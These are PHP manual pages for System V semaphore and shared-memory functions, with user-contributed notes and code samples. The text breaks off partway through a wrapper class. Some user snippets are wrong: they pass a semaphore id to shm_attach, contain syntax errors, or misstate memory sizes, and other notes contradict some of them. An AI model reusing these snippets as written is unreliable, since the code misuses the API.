resource sem_get ( int $key [, int $max_acquire = 1 [, int $perm = 0666 [, int $auto_release = 1 ]]] )

sem_get() returns an id that can be used to access the System V semaphore with the given key.

A second call to sem_get() for the same key will return a different semaphore identifier, but both identifiers access the same underlying semaphore.

Parameters

key

max_acquire

The number of processes that can acquire the semaphore simultaneously is set to max_acquire.

perm

The semaphore permissions. Actually this value is set only if the process finds it is the only process currently attached to the semaphore.

auto_release

Specifies if the semaphore should be automatically released on request shutdown.

Return Values

Returns a positive semaphore identifier on success, or FALSE on error.

Notes

Warning

When using sem_get() to access a semaphore created outside PHP, note that the semaphore must have been created as a set of 3 semaphores (for example, by specifying 3 as the nsems parameter when calling the C semget() function), otherwise PHP will be unable to access the semaphore.

See Also

  • sem_acquire() - Acquire a semaphore
  • sem_release() - Release a semaphore
  • ftok() - Convert a pathname and a project identifier to a System V IPC key

User Contributed Notes

Michael Z. 25-Aug-2011 03:37
Watch out when you use fileinode() to get a unique semaphore key (as suggested in some comment on this or a related function) in conjunction with version control software: It seems, for example, SVN will change the inode. Using such a file will leave you with your mutex not working reliably and your system's semaphore pool being filled until further attempts to get a semaphore will fail. Use ipcs and ipcrm commands from linux-util-ng (on most distros probably) to examine/fix related problems.
soger 28-Mar-2011 05:20
Actually it looks like the semaphore is automatically released not on request shutdown but when the variable you store it's resource ID is freed. That is a very big difference.
pail dot luo at gmail dot com 27-Feb-2009 03:40
A very simple to introduce semaphore...

<?php
$SEMKey = "123456" ;

## Get Semaphore id
$seg = sem_get( $SEMKey, 2, 0666, -1) ;

if ( $argv[1]=="remove" ) {
    sem_remove($seg);
}

echo "Try to acquire ..."
sem_acquire($seg);
echo "Acquired...\n" ;

echo "Press Any Key to continue...\n";
$fh = fopen("php://stdin", "r");
$a = fgets( $fh);
fclose($fh);

sem_release($seg);
?>
cyrus dot drive at gmail dot com 02-May-2008 02:51
Implementation of a read-write semaphore in PHP:

<?php
class rw_semaphore {

    const READ_ACCESS = 0;
    const WRITE_ACCESS = 1;

    /**
     * @access private
     * @var resource - mutex semaphore
     */
    private $mutex;

    /**
     * @access private
     * @var resource - read/write semaphore
     */
    private $resource;

    /**
     * @access private
     * @var int
     */
    private $writers = 0;

    /**
     * @access private
     * @var int
     */
    private $readers = 0;

    /**
     * Default constructor
     *
     * Initialize the read/write semaphore
     */
    public function __construct() {
        $mutex_key = ftok('/home/cyrus/development/php/sysvipc/rw_semaphore.php', 'm');
        $resource_key = ftok('/home/cyrus/development/php/sysvipc/rw_semaphore.php', 'r');
        $this->mutex = sem_get($mutex_key, 1);
        $this->resource = sem_get($resource_key, 1);
    }

    /**
     * Destructor
     *
     * Remove the read/write semaphore
     */
    public function __destruct() {
        sem_remove($this->mutex);
        sem_remove($this->resource);
    }

    /**
     * Request acess to the resource
     *
     * @param int $mode
     * @return void
     */
    private function request_access($access_type = self::READ_ACCESS) {
        if ($access_type == self::WRITE_ACCESS) {
            sem_acquire($this->mutex);

            /* update the writers counter */
            $this->writers++;

            sem_release($this->mutex);
            sem_acquire($this->resource);
        } else {
            sem_acquire($this->mutex);
            if ($this->writers > 0 || $this->readers == 0) {
                sem_release($this->mutex);
                sem_acquire($this->resource);
                sem_acquire($this->mutex);
            }
            /* update the readers counter */
            $this->readers++;

            sem_release($this->mutex);
        }
    }

    private function request_release($access_type = self::READ_ACCESS) {
        if ($access_type == self::WRITE_ACCESS) {
            sem_acquire($this->mutex);

            /* update the writers counter */
            $this->writers--;

            sem_release($this->mutex);
            sem_release($this->resource);
        } else {
            sem_acquire($this->mutex);

            /* update the readers counter */
            $this->readers--;

            if ($this->readers == 0)
                sem_release($this->resource);

            sem_release($this->mutex);
        }
    }

    /**
     * Request read access to the resource
     *
     * @return void
     */
    public function read_access() { $this->request_access(self::READ_ACCESS); }

    /**
     * Release read access to the resource
     *
     * @return void
     */
    public function read_release() { $this->request_release(self::READ_ACCESS); }

    /**
     * Request write access to the resource
     *
     * @return void
     */
    public function write_access() { $this->request_access(self::WRITE_ACCESS); }

    /**
     * Release write access to the resource
     *
     * @return void
     */
    public function write_release() { $this->request_release(self::WRITE_ACCESS); }

}
?>
ein at anti-logic dot com 26-Jun-2007 01:21
Be aware that there is no way to ensure that you have exclusive access to a lock, despite setting max_acquire=1.

In example,
<?
$fp = sem_get(fileinode('lock_file', 100);
sem_acquire($fp);

$fp2 = sem_get(fileinode('lock_file', 1);
sem_acquire($fp2);
?>

This will not block on the second sem_aquire.  Therefore, if you have functions or processes that utilize shared locks (>1 max_acquire) you will still need to provide a seperate lock mechanism (ie flock) for write access, making the sem_ functions useless.

Some more info, in flock, each reference to the lock file has it's own options (can be shared exclusive blocking non blocking etc), but apparently php's sem functions only support these options per semaphore, not per semaphore-reference.
neofutur 28-Aug-2006 09:49
with gentoo php5 you will need to add the USE flag :
sysvipc

see :
 http://forums.gentoo.org/viewtopic-t-464175-highlight-semget+php.html

and also :
 http://overlays.gentoo.org/proj/php/
joeldg AT listbid.com 02-May-2003 08:39
Heh, actually the above comment I added is not technically correct, it was more of an idea to display the function.

$SHM_KEY = ftok("/home/joeldg/homeymail/shmtest.php", 'R');
$shmid = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$data = shm_attach($shmid, 1024);
// we now have our shm segment

// lets place a variable in there
shm_put_var ($data, $inmem, "test");
// now lets get it back. we could be in a forked process and still have
// access to this variable.
printf("shared contents: %s\n", shm_get_var($data, $inmem));

shm_detach($data);
joeldg at listbid.com 02-May-2003 09:36
<?
// thanks to
// http://www.ecst.csuchico.edu/~beej/guide/ipc/shmem.html
$SHM_KEY = ftok("/home/joeldg/homeymail/shmtest.php", 'R');
$shmid = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$data = shm_attach($shmid, 1024);

$data = "test";
printf("shared contents: %s\n", $data);

shm_detach($data);
?>


Release a semaphore

  • « sem_get
  • sem_remove »
  • PHP Manual
  • Semaphore Functions
  • Release a semaphore

sem_release

(PHP 4, PHP 5)

sem_release — Release a semaphore

Description

bool sem_release ( resource $sem_identifier )

sem_release() releases the semaphore if it is currently acquired by the calling process, otherwise a warning is generated.

After releasing the semaphore, sem_acquire() may be called to re-acquire it.

Parameters

sem_identifier

A Semaphore resource handle as returned by sem_get().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sem_get() - Get a semaphore id
  • sem_acquire() - Acquire a semaphore

User Contributed Notes

danno at circumsolutions dot com 01-Apr-2001 11:44
If you want to implement this sort of semaphore access (which is usually what is needed if doing ipc) one thing you can do is create shared memory which is simply an int. Use this int between processes as the value of the semaphore.  You can write wrapper functions which use this to allow you to do the desired readers-writers stuff or just use the shared memory plain.  I wouldn't be too worried about race conditions in this case as the shared memory is only an int.  If you are worried about race conditions, the wrapper functions for doing the semaphore stuff could actually use a semaphore to elimate any race conditions.  Also, an added bonus of doing it this way is you can check the value of the int.
apua at communiplex dot com 08-Dec-1999 05:54
The fact that sem_release only resease the semaphore if it is currently acquired by the calling process is, in fact, a misfeature since sometimes (eg in a readers-writers implementation) it is desirable to release a semaphore acquired by another process. In C you can do that.
I'm telling this because I was trying to write a chat app in php3 made of two programs: a listener and a speaker. The speaker releases a semaphore to inform that there is a new message in a shared memory var. And listeners wait in that semaphore before outputting the message.


Remove a semaphore

  • « sem_release
  • shm_attach »
  • PHP Manual
  • Semaphore Functions
  • Remove a semaphore

sem_remove

(PHP 4 >= 4.1.0, PHP 5)

sem_remove — Remove a semaphore

Description

bool sem_remove ( resource $sem_identifier )

sem_remove() removes the given semaphore.

After removing the semaphore, it is no longer accessible.

Parameters

sem_identifier

A semaphore resource identifier as returned by sem_get().

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sem_get() - Get a semaphore id
  • sem_release() - Release a semaphore
  • sem_acquire() - Acquire a semaphore

User Contributed Notes

donotcallme at iwillcallyou dot com 28-Oct-2013 02:10
sem_remove() shouldn't be part of a normal cleanup/teardown and should be called very rarely due to bugs in the implementation.

It doesn't seem to hurt to leave semaphores lying around and is likely to be more performance-friendly to do so.  If you are concerned about having too many semaphores floating around for an application (e.g. a file cache that uses ftok()), you can use some modulus arithmetic and simple addition to create a limited range of values for your semaphores off in the middle of nowhere.  For example, ftok() % 101 + 0xBADBEEF.  Be sure to replace 0xBADBEEF with your own random value.  The example limits the range to 101 semaphores.  101 is a prime number - so if you want more or less, be sure to replace it with a prime number since primes theoretically help distribute values more evenly.


Creates or open a shared memory segment

  • « sem_remove
  • shm_detach »
  • PHP Manual
  • Semaphore Functions
  • Creates or open a shared memory segment

shm_attach

(PHP 4, PHP 5)

shm_attach — Creates or open a shared memory segment

Description

resource shm_attach ( int $key [, int $memsize [, int $perm = 0666 ]] )

shm_attach() returns an id that can be used to access the System V shared memory with the given key, the first call creates the shared memory segment with memsize and the optional perm-bits perm.

A second call to shm_attach() for the same key will return a different shared memory identifier, but both identifiers access the same underlying shared memory. memsize and perm will be ignored.

Parameters

key

A numeric shared memory segment ID

memsize

The memory size. If not provided, default to the sysvshm.init_mem in the php.ini, otherwise 10000 bytes.

perm

The optional permission bits. Default to 0666.

Return Values

Returns a shared memory segment identifier.

Changelog

Version | Description
5.3.0 | This function now returns a resource instead of an integer.

Notes

Note:

This function used to return an integer value prior to PHP 5.3.0. To achieve the same value in a portable manner, the return value can be cast to an integer like:

<?php
// Create a temporary file and return its path
$tmp = tempnam('/tmp', 'PHP');

// Get the file token key
$key = ftok($tmp, 'a');

// Attach the SHM resource, notice the cast afterwards
$id = shm_attach($key);

if ($id === false) {
    die('Unable to create the shared memory segment');
}

// Cast to integer, since prior to PHP 5.3.0 the resource id
// is returned which can be exposed when casting a resource
// to an integer
$id = (integer) $id;
?>

See Also

  • shm_detach() - Disconnects from shared memory segment
  • ftok() - Convert a pathname and a project identifier to a System V IPC key

User Contributed Notes

novayear # hotmail ; com 22-Apr-2014 05:13
small shm class..
example usage:
$shx= new shmSmart;
$shx->put("key_name_apple","key_val_peach"); //set example..
$shx->put("key name alternative array",array(1=>"banana","apricot","blablabla"=>array("new-blaala"))); //set array example..
echo  $shx->get("key_name_apple"); // get example key value.
$shx->del("key_name_apple"); // delete key
unset($shx); // free memory in php..

class shmSmart{
  public $shm;            //holds shared memory resource
  public function __construct(){
    if(function_exists("shm_attach")===FALSE){
      die("\nYour PHP configuration needs adjustment. See: http://us2.php.net/manual/en/shmop.setup.php. To enable the System V shared memory support compile PHP with the option --enable-sysvshm.");
    }
    $this->attach();    //create resources (shared memory)
  }
  public function attach(){
    $this->shm=shm_attach(0x701da13b,33554432);    //allocate shared memory
  }
  public function dettach(){
    return shm_detach($this->shm);    //allocate shared memory
  }
  public function remove(){
    return shm_remove($this->shm);    //dallocate shared memory
  }
  public function put($key,$var) {
    return shm_put_var($this->shm,$this->shm_key($key),$var);    //store var
  }
  public function get($key){
    if($this->has($key)){
      return shm_get_var($this->shm,$this->shm_key($key));  //get var
    }else{
      return false;
    }
  }
  public function del($key){
    if($this->has($key)){
      return shm_remove_var($this->shm,$this->shm_key($key)); // delete var
    }else{
      return false;
    }
  }
  public function has($key){
    if(shm_has_var($this->shm,$this->shm_key($key))){ // check is isset
      return true;
    }else{
      return false;
    }
  }
  public function shm_key($val){ // enable all world langs and chars !
    return preg_replace("/[^0-9]/","",(preg_replace("/[^0-9]/","",md5($val))/35676248)/619876); // text to number system.
  }
  public function __wakeup() {
    $this->attach();
  }
  public function __destruct() {
    $this->dettach();
    unset($this);
  }
}
Daniel Knecht 27-Mar-2014 08:30
If you get an error like "PHP Warning:  shm_attach(): failed for key 0x61040bb5: Cannot allocate memory" then you might need to tweak your shared memory configuration.

To see your system values, enter "sysctl kern.sysv."
Important values are kern.sysv.shmmax and kern.sysv.shmall:
* kern.sysv.shmmax is the max number of bytes one shared memory segment may have
* kern.sysv.shmall is the max number of memory pages all shared memory segments together can consume
One memory page is 4096 bytes, meaning that if you set kern.sysv.shmmax to 1073741824 (1GB) then kern.sysv.shmall must be at least 262144 to be able to allocate a one GB memory segment (since 262144 * 4096 = 1073741824).

tl;dr The default values on some systems are very low and then it is not enough to only increase kern.sysv.shmmax - also kern.sysv.shmall needs to be increased accordingly!
info at tristat dot org 16-Oct-2011 02:07
You might expect the SHM functions to be significantly faster than building variables from MySQL operations. Unfortunately this is not the case regarding large multidimensional arrays. I've tested write, read, update and delete operations with with a two dimensional associative array directly with SHM and in comparison with a class using MySQL and a class using SHMOP functions (with mostly offset-accurate serialization). Both classes generated the same array as stored with SHM. Unlike SHMOP the performance of SHM decreases considerably with larger arrays. At 2000 instructions with an $array[$row][$key] of 200 rows and 5 keys even MySql is faster than SHM.This might be due to the fact, that SHM deals with any kind of arrays and makes internal use the PHPs powerful serialize() function.
nathanbruer at gmail dot com 05-Apr-2011 10:21
I was playing around with these functions and made a class in the process. This will of course be slower than accessing a variable locally, but gives the ability to store variables in a shared environment and gives many running scripts the understanding that it should access them from the shared area. This should also auto destroy the shared memory area once no more scripts have a link to the data (when all scripts use this class).

<?php
class SharedMemory{
    private $nameToKey = array();
    private $key;
    private $id;
    function __construct($key = null){
        if($key === null){
            $tmp = tempnam('/tmp', 'PHP');
            $this->key = ftok($tmp, 'a');
            $this->id = shm_attach($this->key);
            $this->nameToKey[] = '';
            $this->nameToKey[] = '';
            $this->updateMemoryVarList();
            shm_put_var($this->id, 1, 1);
        }else{
            $this->key = $key;
            $this->id = sem_get($this->key);
            $this->refreshMemoryVarList();
            shm_put_var($this->id, 1, shm_get_var($this->id, 1) + 1);
        }
        if(!$this->id)
            die('Unable to create shared memory segment');
    }
    function __sleep(){
        shm_detach($this->id);
    }
    function __destruct(){
        if(shm_get_var($this->id, 1) == 1){
            // I am the last listener so kill shared memory space
            $this->remove();
        }else{
            shm_detach($this->id);
            shm_put_var($this->id, 1, shm_get_var($this->id, 1) - 1);
        }
    }
    function __wakeup(){
        $this->id = sem_get($this->key);
        shm_attach($this->id);
        $this->refreshMemoryVarList();
        shm_put_var($this->id, 1, shm_get_var($this->id, 1) + 1);
    }
    function getKey(){
        return $this->key;
    }
    function remove(){
        shm_remove($this->id);
    }
    function refreshMemoryVarList(){
        $this->nameToKey = shm_get_var($this->id, 0);
    }
    function updateMemoryVarList(){
        shm_put_var($this->id, 0, $this->nameToKey);
    }
    function __get($var){
        if(!in_array($var, $this->nameToKey)){
            $this->refreshMemoryVarList();
        }
        return shm_get_var($this->id, array_search($var, $this->nameToKey));
    }
    function __set($var, $val){
        if(!in_array($var, $this->nameToKey)){
            $this->refreshMemoryVarList();
            $this->nameToKey[] = $var;
            $this->updateMemoryVarList();
        }
        shm_put_var($this->id, array_search($var, $this->nameToKey), $val);
    }
}

// Example
$sharedMem = new SharedMemory();
$pid = pcntl_fork();
if($pid){
    //parent
    sleep(1);
    echo "Parent Says: " . $sharedMem->a . "\n";
    echo "Parent Changed to 0\n";
    $sharedMem->a = 0;
    //Parent just changed it to 0
    echo "Parent Says: " . $sharedMem->a . "\n";
    sleep(2);
    // Parent think's it's 0, but child has changed it to 1
    echo "Parent Says: " . $sharedMem->a . "\n";
}else{
    //child
    $sharedMem->a = 2;
    echo "Child Changed to 2\n";
    // Should be 2 as child just set it to 2
    echo "Child Says: " . $sharedMem->a . "\n";
    sleep(2);
    // Child think's it's 2, but the parent set it to 0.
    echo "Child Says: " . $sharedMem->a . "\n";
    echo "Child Added 1\n";
    $sharedMem->a++;
    echo "Child Says: " . $sharedMem->a . "\n";
}
?>
somepay at gmail dot com 05-Aug-2010 12:07
In my log I have found string
"shm_attach(): failed for key 0x366f: No space left on device"
But have not found any suggestion for this at php.net and at google.

So question was how to make free memory used by shm_attach .
At first to view (Linux)  how many segments allocated, use
:~# ipcs -mu
then
limits
:~# ipcs -ml

to remove segment use:
:~# ipcrm -m [shmid]

otherwise you can reboot server, or launch sh script based on commands above.

To avoid troubles with "No space left on device" ALWAYS use
shm_remove() & shm_detach() after call shm_attach().
pail dot luo at gmail dot com 27-Feb-2009 03:43
A simple Sample to introduce SHM.

<?php
if ( sizeof($argv)<2 ) {
        echo "Usage: $argv[0] send|recv|rem|dele ID [msg] \n\n" ;
        echo "   EX: $argv[0] send 1 \"This is no 1\" \n" ;
        echo "       $argv[0] recv 1 \n" ;
        echo "       $argv[0] rem 1 \n" ;
        echo "       $argv[0] dele \n" ;
        exit;
}

// $SHMKey = ftok(__FILE__, "Z");
$SHMKey = "123456" ;

## Create/Open a shm
$seg = shm_attach( $SHMKey, 1024, 0666 ) ;

switch ( $argv[1] ) {
    case "send":
        shm_put_var($seg, $argv[2], $argv[3]);
        echo "send msg done...\n" ;
        break;

    case "recv":
        $data = shm_get_var($seg, $argv[2]);
        echo $data . "\n" ;
        break;

    case "rem":
        shm_remove_var($seg, $argv[2]);
        break;

    case "dele":
        shm_remove($seg);
        break;

    case "dele2":
        `/usr/bin/ipcrm -M 123456`;
        break;
}
?>
nkatz at yahooo dot com 18-Sep-2008 02:31
Responding to jpeter1978 at yahoo dot com ... Assuming a character is typically two bytes, the size of a serialized variable (incl array or obj) is 2 * its strlen().  The 44 is 4 more than the 24 + 16 = 40 suggested by php at cytrax dot de plus 4 bytes for worst case 4-byte alignment.  So this is probably a reliable formula if you are too lazy to align it using something similar to zeppelinux at comcast dot net as in:

($strlen($serialized_array_or_obj) /4 ) * 4 ) + 40;

The zeppelinux formula would use 20 (for 4-byte integer cpu) or 36 (for 64-bit or 8-byte cpu) for the ending constant so 40 or 44 is probably just achieving header padding but it certainly can't hurt.
zeppelinux at comcast dot net 14-Aug-2008 09:19
<?php

//how to calculate the  minimum $memsize required to store the variable $foo where $foo='foobar'.

// when shm_attach() is called for the first time, PHP writes a header to the beginning of the shared memory.
$shmHeaderSize = (PHP_INT_SIZE * 4) + 8;

// when shm_put_var() is called, the variable is serialized and a small header is placed in front of it before it is written to shared memory.
$shmVarSize = (((strlen(serialize($foo))+ (4 * PHP_INT_SIZE)) /4 ) * 4 ) + 4;

// now add the two together to get the total memory required. Of course, if you are storing more than one variable then you dont need to add $shmHeaderSize for each variable, only add it once.
$memsize = $shmHeaderSize + $shmVarSize;

//this will give you just enough memory to store the one variable using shm_put_var().
$shm_id = shm_attach ( $key, $memsize, 0666 ) ;
shm_put_var  ( $shm_id  , $variable_key  , $foo  );

any attempt to store another variable will result in a 'not enough memory' error.
Be aware that if you change the contents of $foo to a larger value and then you try to write it to shared memory again using shm_put_var(), then you will get a 'not enough memory' error. In this case, you will have to resize your shared memory segment and then write the new value.

If you are only storing variables that contain a single integer value, then you can avoid having to resize by always allocating the largest amount of memory that is required to store an int, which should be:
$shmIntVarSize = (((strlen(serialize(PHP_INT_MAX))+ (4 * PHP_INT_SIZE)) /4 ) * 4 ) + 4;

?>
hetii at poczta dot onet dot pl 11-Jan-2008 02:18
Hi :)
I write small class for build bright message between my application.

<?
class Bright_Message
{

var $bright;
var $SHM_KEY;
var $my_pid;

        function Bright_Message($SHM_KEY=null)
        {
                $this->my_pid = getmypid();//Get own pid
                if (is_null($SHM_KEY)) $this->SHM_KEY = '123123123';
                $this->bright = shm_attach($this->SHM_KEY, 1024, 0666);
                $this->one_instance();
        }

        function get_msg($id,$remove=true)
        {
                if(@$msg=shm_get_var($this->bright,$id))
                {
                   if ($remove) @shm_remove_var($this->bright,$id);
                   return $msg;
                } else return false;
        }

        function snd_msg($id,$msg)
        {
                @shm_put_var($this->bright,$id,$msg);
                return true;
        }

        function one_instance()
        {
                $SHM_PID = $this->get_msg(1,false);
                if((strpos(exec('ps p'.$SHM_PID),$_SERVER['SCRIPT_FILENAME'])) === false)
                $this->snd_msg(1,$this->my_pid); else
                {
                        echo "This program exists on pid: $SHM_PID\r\n\r\n";
                        exit;
                }
        }

}
?>

send.php:
<?
include "bridge_message.class.php";
$shm = new Bright_Message();
$shm->snd_msg(2,'this is my simple message');
?>

receive.php:
<?
include "bridge_message.class.php";
$shm = new Bright_Message();
$msg = get_msg(2);
echo print_r($msg,1);
?>
jpeter1978 at yahoo dot com 04-Aug-2007 12:35
I tried all the suggestions above for getting the object size (in bytes) for $memsize, but they didn't work universally for the two types of objects I tried (string and array of strings).

After doing some googling and experimenting, I've found the following magic formula:

$memsize = ( strlen( serialize( $object ) ) + 44 ) * 2;

I found this in someone else's code, so I can't explain it.
Uther Pendragon 08-Mar-2007 06:08
As a follow-up to my last post regarding shm_attach and its limit capability for knowing how it was created....

for more control, use the shmop_* series of functions, as they have finer grained control than these.

and by the way:  the SHMOP functions SHOULD BE listed under "see also" for all the SHM* wrapper functions (I assume they are wrappers to the SHMOP* functions).
Uther Pendragon 24-Jan-2007 05:26
Since there aren't seperate functions for CREATING and ATTACHING shared memory (a mistake in my opinion), you might want to do some testing to check whether you've created it or not, as you may not want the slave of a master/slave pair to ever create the shared memory.

One way you can test this is by having your slave set the size to something small, then testing the size by putting a variable too large to fit, e.g.:

function get_shmem() {
     return shm_attach(ftok('somefile.txt', 'T'), 100, 0644);
}

$shm = get_shmem();

while (!@shm_put_var($shm, 1, str_repeat('.....', 20))) {
     shm_remove($shm);
     sleep(1);
     //we created it, so we'll remove it and sleep to wait for the master to create it, then try again.
     $shm = get_shmem();
}
shm_remove_var($shm, 1);
//here we know the shared memory was already created, because we could put a variable in bigger than the size requested.

Another way you can handle it is to have all programs initialize the shared memory with the same parameters... I had a problem with this when my clients starting too fast and created the shmem without passing a memsize value, so it was defaulting to 10k which was too small.
Katzenmeier 05-Nov-2006 12:36
The limit for one SHM block seems to be 32 MB, but you can split your data in several SHM blocks if you need to. The total SHM limit seems to be about 8 GB.

I'm not sure whether this is true for all configurations.
muytoloco at yahoo dot com dot br 23-Feb-2006 06:33
If one process make a shm_attach to one inexistent memory area, this area will be created under the same priviliegies of the script running user. If another process will try to create or acces the same area, runnig by other user with different privileges of the first user, an error will occur.
rch at todo dot com dot uy 28-Mar-2005 01:17
Cecil, the key of a var is an integer (not the name ). You can put multiples vars in the same share.

#!/usr/local/bin/php -q
<?PHP

$SHM_KEY = ftok(__FILE__, chr( 4 ) );

$data =  shm_attach($SHM_KEY, 1024, 0666);

$test1 = array("hello","world","1","2","3");
$test2 = array("hello","world","4","5","6");
$test3 = array("hello","world","7","8","9");

shm_put_var($data, 1, $test1);
shm_put_var($data, 2,$test2);
shm_put_var($data, 3,$test3);

print_r(shm_get_var($data, 1));
print_r(shm_get_var($data, 2));
print_r(shm_get_var($data, 3));

shm_detach($data);
?>
andreyKEINSPAM at php dot net 24-Apr-2004 06:31
As far as I see from the sources of ext/sysvshm, it's not needed to  do  arithmetic (bit) OR (|) of "perm" with  IPC_CREAT (and IPC_EXCL). The extension will do it for you. It tries to attach to the memory segment and if the try did not succeed it tries to attach but with flags set to user_flag | IPC_CREAT | IPC_EXCL.
The exact code (shm_flag is the third param to the function) :
if ((shm_id = shmget(shm_key, 0, 0)) < 0) {
      if (shm_size < sizeof(sysvshm_chunk_head)) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "failed for key 0x%x: memorysize too small", shm_key);
            efree(shm_list_ptr);
            RETURN_FALSE;
      }
      if ((shm_id = shmget(shm_key, shm_size, shm_flag | IPC_CREAT | IPC_EXCL)) < 0) {
            php_error_docref(NULL TSRMLS_CC, E_WARNING, "failed for key 0x%x: %s", shm_key, strerror(errno));
             efree(shm_list_ptr);
             RETURN_FALSE;
     }
}
Cecil 18-Mar-2004 09:37
Here is an example of how to use one shared memory block to store multiple variables or arrays.. unfortunetly in order to store more than ONE variable, you have to use sem_get() multiple times.. same goes for shm_attach(), shm_put_var() and shm_get_var()

#!/usr/local/bin/php -q
<?PHP
// test.php

$SHM_KEY = ftok(__FILE__,'A');

$shmid  = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid2 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid3 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);

$data =  shm_attach($shmid, 1024);
$data2 = shm_attach($shmid2, 1024);
$data3 = shm_attach($shmid3, 1024);

$test = array("hello","world","1","2","3");
$test2 = array("hello","world","4","5","6");
$test3 = array("hello","world","7","8","9");

shm_put_var($data,$inmem,$test);
shm_put_var($data2,$inmem2,$test2);
shm_put_var($data3,$inmem3,$test3);

print_r(shm_get_var($data,$inmem));
print_r(shm_get_var($data2,$inmem2));
print_r(shm_get_var($data3,$inmem3));

shm_detach($data);
shm_detach($data2);
shm_detach($data2);
?>

to REALLY test it.. create a second script like so and run it..

#!/usr/local/bin/php -q
<?PHP
// test2.php

$SHM_KEY = ftok(__FILE__,'A');

$shmid  = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid2 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);
$shmid3 = sem_get($SHM_KEY, 1024, 0644 | IPC_CREAT);

$data =  shm_attach($shmid, 1024);
$data2 = shm_attach($shmid2, 1024);
$data3 = shm_attach($shmid3, 1024);

print_r(shm_get_var($data,$inmem));
print_r(shm_get_var($data2,$inmem2));
print_r(shm_get_var($data3,$inmem3));

shm_detach($data);
shm_detach($data2);
shm_detach($data2);
?>

As you can see, test2.php doesn't insert anything into shared memory.. yet it pulls out 3 totally different arrays already stored..

Hope that helps.. took me a bit to get it right.. everyone seems to have their own idea of how shm should be used. lol.

BTW, not sure how the ftok works to be honest, cause I didn't change the __FILE__ to match the file path of test.php or anything.. I would think that the file path out have to be the exact same to work correctly.. oh well, it worked as-is! haha..

- Cecil
php at cytrax dot de 18-Jan-2002 05:36
The memsize needed for shared memory (tested on linux system) can be calculated with:

For each varialbe you want to store: 24 Bytes
+ serialized var-size (see below) alligned by 4 Bytes
+ 16 Bytes

For a update of a var with the same key, the memory for the old var will be needed extra.
koester at x-itec dot de 21-Mar-2001 09:41
4194304 means 4 MB and NOT 4 GB for shared memory on FreeBSD. You can increase the shared memory at runtime if you like.
lew at persiankitty dot com 25-Jan-2001 01:30
Finding out shared memory kernel settings in FreeBSD:

sys1# sysctl -a | grep -i SHM

kern.ipc.shmmax: 4194304
kern.ipc.shmmin: 1
kern.ipc.shmmni: 96
kern.ipc.shmseg: 64
kern.ipc.shmall: 1024
kern.ipc.shm_use_phys: 0

Shows us that we can allocate a total of 4GB (wow) of shared memory, etc...
webmaster at mail dot communityconnect dot com 10-Sep-1999 10:50
With Sun Solaris 2.x, the MAXIMUM shared memory value allowed is 1,048,576.  The maximum allowed value can be determined using the command /usr/sbin/sysdef.  On Linux, there does not seem to be any system enforced maximum size.  To change the maximum allowed size on Solaris 2.x, use set shmsys:shminfo_shmmax=[new value].
h dot raaf at i-k-c dot net 25-Mar-1999 02:40
Notice that 'int key' for shared-memory is shared with the keys used for semaphores. So you get in trouble when you use the same key value for semaphores and shared memory!
eric at superstats dot com 13-Feb-1999 04:04
Objects are stored serialized in shm_put_var, so to find a value for memsize, you can use strlen(serialize($object_to_store_in_shm)).


Disconnects from shared memory segment

  • « shm_attach
  • shm_get_var »
  • PHP Manual
  • Semaphore Functions
  • Disconnects from shared memory segment

shm_detach

(PHP 4, PHP 5)

shm_detach — Disconnects from shared memory segment

Description

bool shm_detach ( resource $shm_identifier )

shm_detach() disconnects from the shared memory given by the shm_identifier created by shm_attach(). Remember, that shared memory still exist in the Unix system and the data is still present.

Parameters

shm_identifier

A shared memory resource handle as returned by shm_attach()

Return Values

shm_detach() always returns TRUE.

See Also

  • shm_attach() - Creates or open a shared memory segment
  • shm_remove() - Removes shared memory from Unix systems
  • shm_remove_var() - Removes a variable from shared memory

User Contributed Notes

There are no user contributed notes for this page.


Returns a variable from shared memory

  • « shm_detach
  • shm_has_var »
  • PHP Manual
  • Semaphore Functions
  • Returns a variable from shared memory

shm_get_var

(PHP 4, PHP 5)

shm_get_var — Returns a variable from shared memory

Description

mixed shm_get_var ( resource $shm_identifier , int $variable_key )

shm_get_var() returns the variable with a given variable_key, in the given shared memory segment. The variable is still present in the shared memory.

Parameters

shm_identifier

Shared memory segment, obtained from shm_attach().

variable_key

The variable key.

Return Values

Returns the variable with the given key.

See Also

  • shm_has_var() - Check whether a specific entry exists
  • shm_put_var() - Inserts or updates a variable in shared memory

User Contributed Notes

serg at red-sign dot ru 28-Feb-2013 11:38
If any body has problem with shm_get_var();

this code correctly work with boolean-values^
<?php
if(shm_has_var ($this->shm_mem_id, $_varno)){
            $_value = shm_get_var($this->shm_mem_id, $_varno);
        }else{
            $_value = NULL;
        }
?>
hackmac at nowhere dot com 24-Jun-2009 11:19
hello everyone i came up with some sort of solution to the shm_get_var()
returns false on error/returns a boolean false variable problem.

test script

<?php

    error_reporting(E_ALL);
    ini_set('display_errors', '1');

    echo '<pre>';
    echo ini_get('sysvshm.init_mem');

    require_once('ClassShmWrapper.php5');

    $nKey = ftok(__FILE__,'x');

    $myShm = new ClassShmWrapper($nKey);

    $myShm->attachToSegment();

    #$mValue = range(1,rand(3,10));
    #$myShm->nVarKey = count($mrValue);

    #$mValue = FALSE;

    /*
    $mValue = TRUE;
    $myShm->nVarKey = 1;
    $myShm->mVar = $mValue;
    $myShm->putVarToSegment();
    */

    #$myShm->nVarKey = 2;
    $myShm->nVarKey = 1;

    if ($myShm->getVarFromSegment()) {
        echo "found var in shm\n";
    }
    else {
        echo "could NOT find var in shm\n";
    }

    $myShm->detachFromSegment();

    echo "\ndumping " . '$myShm->mVar' . "\n";
    var_dump($myShm->mVar);

?>

class for using the shm_ functions & class for storing boolean values

<?php

    class ClassShmWrapper {

        public $nPermissions;
        public $nKey;
        public $nBytesMemorySize;

        public $nShmId;

        public $nVarKey;
        public $mVar;

        public function __construct($nKey,$nBytesMemorySize=50000,$nPermissions=0666) {

            $this->nKey = $nKey;
            $this->nBytesMemorySize = $nBytesMemorySize;
            $this->nPermissions = $nPermissions;
        }

        public function attachToSegment() {
